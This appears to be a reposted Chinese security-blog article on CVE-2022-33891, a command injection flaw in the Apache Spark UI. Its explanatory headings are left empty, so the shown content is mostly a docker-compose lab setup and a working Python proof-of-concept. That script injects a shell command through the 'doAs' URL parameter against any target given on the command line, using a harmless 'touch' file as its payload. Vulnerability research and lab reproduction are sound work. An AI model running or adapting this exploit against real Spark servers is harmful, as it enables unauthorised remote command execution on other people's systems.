Apache Spark UI 命令注入漏洞简述
Apache Spark UI 命令注入漏洞利用原理
Apache Spark UI 命令注入漏洞POC
version: '2'
services:
spark:
image: docker.io/bitnami/spark:3.0.0
environment:
- SPARK_MODE=master
- SPARK_RPC_AUTHENTICATION_ENABLED=no
- SPARK_RPC_ENCRYPTION_ENABLED=no
- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
- SPARK_SSL_ENABLED=no
ports:
- '8080:8080'
docker exec -it [container_id] /bin/bash
echo "spark.acls.enable true" >> conf/spark-defaults.conf
import requests
import argparse
parser = argparse.ArgumentParser(description='CVE-2022-33891 POC')
parser.add_argument('-u', '--url', help='Target URL', required=True)
parser.add_argument('-p', '--port', help='Target Port', required=True)
args = parser.parse_args()
def run_cmd(cmd):
url = f"http://{args.url}:{args.port}/jobs/?doAs=`{cmd}`"
response = requests.get(url)
return response
if __name__ == '__main__':
print("Sending exploit request...")
response = run_cmd("touch /tmp/vuln_test_file")
print(f"Response Status Code: {response.status_code}")
Apache Spark UI 命令注入漏洞防御方式
原文始发于微信公众号(w小小杂谈w):漏洞科普——Apache Spark UI命令注入漏洞(CVE-2022-33891)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论